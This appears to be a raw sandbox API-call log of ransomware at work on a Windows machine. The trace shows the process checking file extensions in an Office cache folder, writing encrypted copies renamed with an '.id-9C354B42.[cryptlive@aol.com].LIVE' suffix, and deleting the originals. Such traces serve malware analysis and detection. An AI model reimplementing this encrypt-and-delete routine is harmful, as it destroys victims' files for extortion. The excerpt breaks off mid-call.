lstrlenW (lpString=".bz2") returned 4 [0039.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString=".7z") returned 3 [0039.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.614] lstrlenW (lpString=".dbf") returned 4 [0039.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.614] lstrlenW (lpString=".1cd") returned 4 [0039.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0039.614] lstrlenW (lpString=".jpg") returned 4 [0039.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.615] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.615] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0039.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.615] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6421) returned 1 [0039.615] CloseHandle (hObject=0x1b4) returned 1 [0039.616] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0039.616] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.616] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.616] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0039.616] GetLastError () returned 0x0 [0039.616] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x1915, lpOverlapped=0x0) returned 1 [0039.617] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0039.618] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.619] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xee, lpOverlapped=0x0) returned 1 [0039.619] SetEndOfFile (hFile=0x1b8) returned 1 [0039.619] CloseHandle (hObject=0x1b8) returned 1 [0039.619] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.620] SetEndOfFile (hFile=0x1b4) returned 1 [0039.620] CloseHandle (hObject=0x1b4) returned 1 [0039.620] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.621] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0039.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.621] lstrlenW (lpString=".doc") returned 4 [0039.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.621] lstrlenW (lpString=".docx") returned 5 [0039.621] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0039.621] lstrlenW (lpString=".pdf") returned 4 [0039.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.621] lstrlenW (lpString=".xls") returned 4 [0039.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.621] lstrlenW (lpString=".xlsx") returned 5 [0039.621] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0039.621] lstrlenW (lpString=".ppt") returned 4 [0039.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.621] lstrlenW (lpString=".zip") returned 4 [0039.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.621] lstrlenW (lpString=".rar") returned 4 [0039.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.621] lstrlenW (lpString=".bz2") returned 4 [0039.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.621] lstrlenW (lpString=".7z") returned 3 [0039.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.621] lstrlenW (lpString=".dbf") returned 4 [0039.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.622] lstrlenW (lpString=".1cd") returned 4 [0039.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.622] lstrlenW (lpString=".jpg") returned 4 [0039.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.622] lstrlenW (lpString=".doc") returned 4 [0039.622] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString=".docx") returned 5 [0039.622] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0039.622] lstrlenW (lpString=".pdf") returned 4 [0039.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString=".xls") returned 4 [0039.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString=".xlsx") returned 5 [0039.622] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0039.622] lstrlenW (lpString=".ppt") returned 4 [0039.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.622] lstrlenW (lpString=".zip") returned 4 [0039.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.622] lstrlenW (lpString=".rar") returned 4 [0039.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString=".bz2") returned 4 [0039.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString=".7z") returned 3 [0039.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.622] lstrlenW (lpString=".dbf") returned 4 [0039.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.623] lstrlenW (lpString=".1cd") returned 4 [0039.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0039.623] lstrlenW (lpString=".jpg") returned 4 [0039.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.623] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.623] lstrlenW (lpString="Setup.xml") returned 9 [0039.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.623] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16683) returned 1 [0039.623] CloseHandle (hObject=0x1b4) returned 1 [0039.623] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.623] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.624] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.624] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0039.624] GetLastError () returned 0x0 [0039.624] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x412b, lpOverlapped=0x0) returned 1 [0039.625] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0039.627] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0039.627] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.627] SetEndOfFile (hFile=0x1b8) returned 1 [0039.627] CloseHandle (hObject=0x1b8) returned 1 [0039.631] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.631] SetEndOfFile (hFile=0x1b4) returned 1 [0039.632] CloseHandle (hObject=0x1b4) returned 1 [0039.632] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.632] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.632] lstrlenW (lpString=".doc") returned 4 [0039.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.632] lstrlenW (lpString=".docx") returned 5 [0039.632] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.633] lstrlenW (lpString=".pdf") returned 4 [0039.633] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString=".xls") returned 4 [0039.633] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString=".xlsx") returned 5 [0039.633] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.633] lstrlenW (lpString=".ppt") returned 4 [0039.633] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.633] lstrlenW (lpString=".zip") returned 4 [0039.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.633] lstrlenW (lpString=".rar") returned 4 [0039.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString=".bz2") returned 4 [0039.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString=".7z") returned 3 [0039.633] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.633] lstrlenW (lpString=".dbf") returned 4 [0039.633] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.633] lstrlenW (lpString=".1cd") returned 4 [0039.633] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.633] lstrlenW (lpString=".jpg") returned 4 [0039.633] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.633] lstrlenW (lpString=".doc") returned 4 [0039.633] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.633] lstrlenW (lpString=".docx") returned 5 [0039.633] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.634] lstrlenW (lpString=".pdf") returned 4 [0039.634] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString=".xls") returned 4 [0039.634] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString=".xlsx") returned 5 [0039.634] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.634] lstrlenW (lpString=".ppt") returned 4 [0039.634] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.634] lstrlenW (lpString=".zip") returned 4 [0039.634] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.634] lstrlenW (lpString=".rar") returned 4 [0039.634] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString=".bz2") returned 4 [0039.634] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString=".7z") returned 3 [0039.634] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.634] lstrlenW (lpString=".dbf") returned 4 [0039.634] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.634] lstrlenW (lpString=".1cd") returned 4 [0039.634] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.634] lstrlenW (lpString=".jpg") returned 4 [0039.634] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.634] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.634] lstrlenW (lpString="Office32WW.xml") returned 14 [0039.634] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.635] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4274) returned 1 [0039.635] CloseHandle (hObject=0x1b4) returned 1 [0039.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0039.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0039.636] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.636] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0039.636] GetLastError () returned 0x0 [0039.636] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0040.847] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0040.848] ReadFile (in: hFile=0x1b4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.848] WriteFile (in: hFile=0x1b8, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.848] SetEndOfFile (hFile=0x1b8) returned 1 [0040.848] CloseHandle (hObject=0x1b8) returned 1 [0040.850] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.851] SetEndOfFile (hFile=0x1b4) returned 1 [0040.851] CloseHandle (hObject=0x1b4) returned 1 [0040.851] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.852] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0040.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.852] lstrlenW (lpString=".doc") returned 4 [0040.852] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.852] lstrlenW (lpString=".docx") returned 5 [0040.852] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.852] lstrlenW (lpString=".pdf") returned 4 [0040.852] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.852] lstrlenW (lpString=".xls") returned 4 [0040.852] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.852] lstrlenW (lpString=".xlsx") returned 5 [0040.852] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.852] lstrlenW (lpString=".ppt") returned 4 [0040.852] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.852] lstrlenW (lpString=".zip") returned 4 [0040.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.852] lstrlenW (lpString=".rar") returned 4 [0040.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString=".bz2") returned 4 [0040.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString=".7z") returned 3 [0040.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.853] lstrlenW (lpString=".dbf") returned 4 [0040.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.853] lstrlenW (lpString=".1cd") returned 4 [0040.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.853] lstrlenW (lpString=".jpg") returned 4 [0040.853] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.853] lstrlenW (lpString=".doc") returned 4 [0040.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString=".docx") returned 5 [0040.853] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.853] lstrlenW (lpString=".pdf") returned 4 [0040.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString=".xls") returned 4 [0040.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString=".xlsx") returned 5 [0040.853] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.853] lstrlenW (lpString=".ppt") returned 4 [0040.853] lstrcmpiW (lpString1=".ppt", 